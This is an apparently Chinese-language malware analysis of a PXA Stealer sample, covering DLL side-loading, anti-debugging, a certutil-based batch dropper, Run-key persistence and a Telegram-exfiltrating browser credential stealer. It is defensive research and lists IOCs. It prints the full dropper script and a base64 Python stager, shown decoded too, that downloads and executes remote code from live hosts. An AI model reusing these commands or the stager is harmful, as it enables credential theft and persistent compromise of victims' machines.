4月份拿到一个样本,发现都说安全。
基本情况
拿到样本为一个zip,zip中有3个文件和有一个隐藏等文件夹。
解压之后发现只有一个文件
vcruntime140.dll文件对应的签名为Microsoft Windows Software Compatibility Publisher,微软公司。
version.dll文件并没有签名。
Evidence of copyright infringement >文件夹中3个文件分别是一个名为Documents.pdf的pdf文件,一个名为Evidence.docx的xml文件。
和一个名为Images.png的具有签名的重命名的WinRAR可执行文件
手法1:利用NTFS数据流(ADS)隐写
上面的样本通过使用NTFS 数据流进行了文件的隐藏,迷惑用户。
NTFS数据流的正式名称为Alternate Data Streams,缩写是ADS ,中文可以翻译成「备用数据流」。这是 NTFS文件系统的一个特性,它允许在文件的内容之外保存额外的数据,每个文件可以存在多个数据流文件。简单地说,就是在 NTFS 文件系统中,每个文件名可以对应不止一份内容。虽然在资源管理器中用户只能看到默认的文件内容。
手法2:白加黑,DLL劫持-侧加载攻击
从手法来看,攻击者是希望目标点击Evidence of copyright infringement.exe文件进行触发,在ProcessMonito中设置规则,监视Evidence of copyright infringement.exe的进程情况,
然后运行Evidence of copyright infringement.exe,在ProcessMonito中可以看到,加载了自身目录底下的version.dll
加载完成自身目录底下的version.dll,还加载了C:WindowsSysWOW64version.dll,基本可以确认是使用了DLL侧加载攻击。
C:WindowsSysWOW64version.dll是具有微软签名,
和vcruntime140.dll,vcruntime140.dll具有有效的签名,可以暂时不用看,攻击者投放这个dll主要是确保Evidence of copyright infringement.exe可以正常启动,顺利加载version.dll。
把version.dll拉入IDA进行分析
在sub_10002353();中的sub_10002306()函数进行了一些主机的信息获取
sub_10002306()函数作用是通过混合系统时间、线程ID、进程ID和高精度计数器生成一个伪随机数种子或唯一标识符。可能用于加密密钥生成。
在sub_100021AD()函数中,进行了一些操作然后进入核心的sub_10001F80()函数会进入sub_10001BD0()函数,sub_10001BD0()中是恶意dll的核心,是一个高度混淆的反调试和恶意负载加载器,通过动态解密、内存操作和反调试技术实现隐蔽执行的恶意木马。
手法3:反调试
使用IsDebuggerPresent(),检查检测调试器存在,若存在则直接退出进程。
IsDebuggerPresent() 函数主要检测当前进程是否被调试器附加。通过检查进程环境块(PEB)中的 BeingDebugged 字段。当调试器(如 OllyDbg、x64dbg)附加到进程时,系统会将该字段设置为 1,然后再通过ExitProcess(0) 函数立即终止当前进程,返回码为 0
(通常表示“正常退出”)。
这里手法有点low,导入x32dbg中通过设置隐藏调试器(PEB)可以直接绕过。
这样的操作具有一定的反调试。
手法4:数据解密和动态密钥生成
系统路径获取与库加载,获取系统目录,这里获取为C:WindowsSystem32,用来后续构造路径
这里进行数据块解密(v0)
- 密钥生成:基于全局变量
dword_100290DC
和时间种子(1321528399i64
)生成动态密钥。 - 内存混淆:通过异或运算破坏原始数据模式,密钥随循环次数动态变化。
解密目标:v0指向的内存区域存储加密配置数据。
二次解密(v17)
- 魔术字节校验:确认是否需要解密(0x66对应字符'f')。
- 动态密钥应用:覆盖前16字节为动态生成的密钥。
- 循环异或:对后续字节进行异或混淆,增强不可预测性。
- 解密结果:v17指向的内存区域包含解密后的库路径
恶意负载加载
通过LoadLibraryW加载解密后的路径v17。
后续动态调试分析这里的主要主要为解密出来v17分别为C:WindowsSystem32kernel32.dll和C:WindowsSystem32version.dll。
然后从导入的函数来看,这个dll并没有什么用了,主要是解密出来加载dll和进行一些文件的移动,
文件名字什么都是这个加密算法进行生成。
直接动态调试即可。整个dll的作用就是在内存中不断解密一些路径出来,然后对路径中的文件进行不同的操作,例如移动文件等等。
手法5:通过打开pdf迷惑目标
在ProcessMonito中可以看到,是调用了cmd通过命令cmd /c "*Evidence of copyright infringement\Evidence.cmd"打开了Documents.pdf来迷惑目标。
发现打开了Documents.pdf来迷惑目标,使目标认为打开的为pdf文件。
手法6:利用cmd文件执行操作
.cmd文件是 Windows 操作系统中的批处理脚本文件,全称为 Command File。类似.bat。
往下可以看到把Evidence.docx文件重命名为Evidence.cmd
Evidence.docx的文件内容为
然后调用cmd通过命令cmd /c "C:UsersqaxDesktopEvidence of copyright infringement\Evidence.cmd"执行了这个文件。
解码Evidence.cmd之后为
��&cls
cd /d "%~dp0"
start /max "" "Documents.pdf"
certutil -decode Documents.pdf LX8bzeZTzF5XSONpDC.rar
mkdir C:UsersPublicLX8bzeZTzF5XSONpDC
images.png x -pS8SKXaOudHX78CnCmjawuXJAXwNAzVeK -inul -y LX8bzeZTzF5XSONpDC.rar C:UsersPublicLX8bzeZTzF5XSONpDC
echo ___________ = '
https://t.me/MR_Q_AIISOPSI_BOT';
exec(__import__('base64').b64decode('aW1wb3J0IHJlcXVlc3RzLCByZTsgZXhlYyhyZXF1ZXN0cy5nZXQocmVxdWVzdHMuaGVhZChmJ2h0dHBzOi8vaXMuZ2Qve21hpfScsIGFsbG93X3JlZGlyZWN0cz1UcnVlKS51cmwpLnRleHQpIGlmIChtYXRjaCA6PSByZS5zZWFyY2gocic8bWV0YSBwcm9wZXJ0eT0ib2c6ZGVzY3JpcHRpb24iIGNvbnRlbnQ9IihbXiJdKykiJywgcmVxdWVzdHMuZ2V0KF9fX19fX19fX19fKZSBOb25lCg==')) >> C:UsersPublicLX8bzeZTzF5XSONpDCPhotos
start "" /min "C:UsersPublicLX8bzeZTzF5XSONpDCsvchost.exe" C:UsersPublicLX8bzeZTzF5XSONpDCPhotos
reg add "HKCUSOFTWAREMicrosoftWindowsCurrentVersionRun" /v "Windows Update Service" /t REG_SZ /d "cmd.exe /c start "" /min "C:UsersPublicLX8bzeZTzF5XSONpDCsvchost.exe" C:UszeZTzF5XSONpDCPhotos" /f
Del /S /Q LX8bzeZTzF5XSONpDC.rar
(goto) 2>nul & del "%~f0" & exit
使用cd /d "%~dp0"切换到脚本所在目录(%~dp0表示脚本路径),确保后续命令在正确路径下执行。
使用start /max "" "Documents.pdf"最大化窗口打开 Documents.pdf 文件。pdf(上面有提到)。
手法7:利用lolbins,certutil和解压
在Evidence.cmd中,使用certutil -decode Documents.pdf LX8bzeZTzF5XSONpDC.rar命令,利用certutil工具将 Documents.pdf 解码提取并压缩为LX8bzeZTzF5XSONpDC.rar, LX8bzeZTzF5XSONpDC.rar需要密码。
Documents.pdf 为证书文件。
往下Evidence.cmd中使用mkdir C:UsersPublicLX8bzeZTzF5XSONpDC命令在在公共目录下创建同名文件夹。存放解压后的恶意文件,便于后续操作。然后使用images.png x -p S8SKXaOudHX78CnCmjawuXJAXwNAzVeK -inul -y LX8bzeZTzF5XSONpDC.rar C:UsersPublicLX8bzeZTzF5XSONpDC 通过密码进行解压LX8bzeZTzF5XSONpDC.rar到C:UsersPublic目录,密码为S8SKXaOudHX78CnCmjawuXJAXwNAzVeK
手法8:远程内存加载,绕过EDR
在Evidence.cmd中还有如下操作
echo ___________ = 'https://t.me/MR_Q_AIISOPSI_BOT';
exec(__import__('base64').b64decode('aW1wb3J0IHJlcXVlc3RzLCByZTsgZXhlYyhyZXF1ZXN0cy5nZXQocmVxdWVzdHMuaGVhZChmJ2h0dHBzOi8vaXMuZ2Qve21hpfScsIGFsbG93X3JlZGlyZWN0cz1UcnVlKS51cmwpLnRleHQpIGlmIChtYXRjaCA6PSByZS5zZWFyY2gocic8bWV0YSBwcm9wZXJ0eT0ib2c6ZGVzY3JpcHRpb24iIGNvbnRlbnQ9IihbXiJdKykiJywgcmVxdWVzdHMuZ2V0KF9fX19fX19fX19fKZSBOb25lCg=='))
>> C:UsersPublicLX8bzeZTzF5XSONpDCPhotos
start "" /min "C:UsersPublicLX8bzeZTzF5XSONpDCsvchost.exe"
C:UsersPublicLX8bzeZTzF5XSONpDCPhotos
解码base写入C:UsersPublicLX8bzeZTzF5XSONpDCPhotos
Photos内容为
__________ = 'https://t.me/MR_Q_AIISOPSI_BOT'; exec(__import__('base64').b64decode('aW1wb3J0IHJlcXVlc3RzLCByZTsgZXhlYyhyZXF1ZXN0cy5nZXQocmVxdWVzdHMuaGVhZChmJ2h0dHBzOi8vaXMuZ2Qve21hdGNoLmdyb3VwKDEpfScsIGFsbG93X3JlZGlyZWN0cz1UcnVlKS51cmwpLnRleHQpIGlmIChtYXRjaCA6PSByZS5zZWFyY2gocic8bWV0YSBwcm9wZXJ0eT0ib2c6ZGVzY3JpcHRpb24iIGNvbnRlbnQ9IihbXiJdKykiJywgcmVxdWVzdHMuZ2V0KF9fX19fX19fX19fKS50ZXh0KSkgZWxzZSBOb25lCg=='))
解码Photos base64文件内容:
import requests, re; exec(requests.get(requests.head(f'https://is.gd/{match.group(1)}', allow_redirects=True).url).text) if (match := re.search(r'<meta property="og:description" content="([^"]+)"', requests.get(___________).text)) else None
- 从 https://t.me/MR_Q_AIISOPSI_BOT 发起HTTP GET请求,获取响应内容
- 使用正则表达式匹配随机字符串的格式,<meta property="og:description" content="。
- 使用获取的内容拼接url,请求 https://is.gd/mc282ptx获取后续的shellcode;
通过start "" /min "命令静默启动 svchost.exe(伪装成系统进程),并传入解压后的文件路径。
之后从https://is.gd/mc282ptx请求后续的shellcode。
手法9:通过注册表维权
通过命令reg add "HKCUSOFTWAREMicrosoftWindowsCurrentVersionRun" /v "Windows Update Service" /t REG_SZ /d "cmd.exe /c start "" /min "C:UsersPublicLX8bzeZTzF5XSONpDCsvchost.exe"
在注册表中添加启动项,使恶意程序随用户登录自动运行。这里伪造成为Windows更新的注册表进行权限维持,在注册表中可以看到写入了表项。
HKCUSOFTWAREMicrosoftWindowsCurrentVersionRun 是 Windows 注册表中的一个关键键值,属于 HKEY_CURRENT_USER (HKCU) 分支下的路径。它的核心功能是定义 当前用户登录时自动启动的程序或脚本。
手法10:删除自身
通过Del /S /Q LX8bzeZTzF5XSONpDC.rar命令,删除临时 .rar 文件,清除痕迹,还通过(goto) 2>nul & del "%~f0" & exit命令进行自删除脚本文件,隐藏攻击源头,增加防御难度。
手法11:使用python加载
在写入的C:UsersPublicLX8bzeZTzF5XSONpDc文件中可以看到存在以下内容
PS C:UsersPublicLX8bzeZTzF5XSONpDC> Get-ChildItem
目录: C:UsersPublicLX8bzeZTzF5XSONpDC
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 2024/9/15 20:00 DLLs
d----- 2025/4/9 10:27 Lib
-a---- 2025/4/9 10:27 415 Photos
-a---- 2023/4/5 15:47 4143384 python310.dll
-a---- 2023/4/5 15:47 100120 svchost.exe
-a---- 2023/4/5 15:47 76168 vcruntime140.dll
经过分析,svchost.exe是重命名之后的python.exe,为python的主的应用,具有python的签名:
python310.dll和vcruntime140.dll同样具有签名:
DLLs和Lib文件夹,初步分析是python环境的依赖库,即是在目标主机中安装了一个python环境。
Photos为恶意的python代码,在手法6中进行了分析。从手法7中写入注册表中的命令也可以看到:
最后通过cmd.exe /c start "" /min "C:UsersPublicLX8bzeZTzF5XSONpDCsvchost.exe" C:UsersPublicLX8bzeZTzF5XSONpDCPhotos命令请求https://is.gd/mc282ptx获取后续的shellcode。
https://is.gd/mc282ptx是is.gd提供的短网址。历史上存在大量的样本
获取shellcode的是一个py的加载器。
主要是解密混淆后的脚本,多次解出来,二进制内容如下:
通过二进制行为进行分析,主要操作如下:
环境扫描与浏览器识别:
-
枚举本地浏览器路径,包括 Chrome、Edge、Brave、Yandex、Firefox、Opera、QQBrowser、Waterfox、K-Meleon、UR Browser 等几十种; -
针对每个浏览器目录检测是否存在关键数据文件(如 Login Data, Web Data, Cookies, Local State 等)。
密钥提取与数据解密:
-
读取浏览器 Local State 文件中保存的加密主密钥(base64); -
使用 CryptUnprotectData 调用(Windows DPAPI)对 master key 进行解密; -
利用解密后的 master key 解开 SQLite 数据库中的加密字段。
信息整合与打包:
-
将提取到的敏感数据整理为字典或 JSON; -
可能包含字段如 username、password、domain、cookie、hostname、browser_name 等。
数据上报(C2 exfiltration):
-
使用 Telegram Bot API 上传敏感信息:
总结
具体的攻击流程如下:
IOC
https[.]//is[.]gd/mc282ptx 短网址
https[.]//t[.]me/MR_Q_AIISOPSI_BOT TG机器人
https[.]//t[.]me/LoneNone TG机器人
https[.]//0x0[.]st/
https[.]//api[.]telegram[.]org/
https[.]//ipwho[.]is/
感谢rookie、DI仔对分析提供的帮助
原文始发于微信公众号(黑白天实验室):PXA Stealer最新攻击活动样本分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论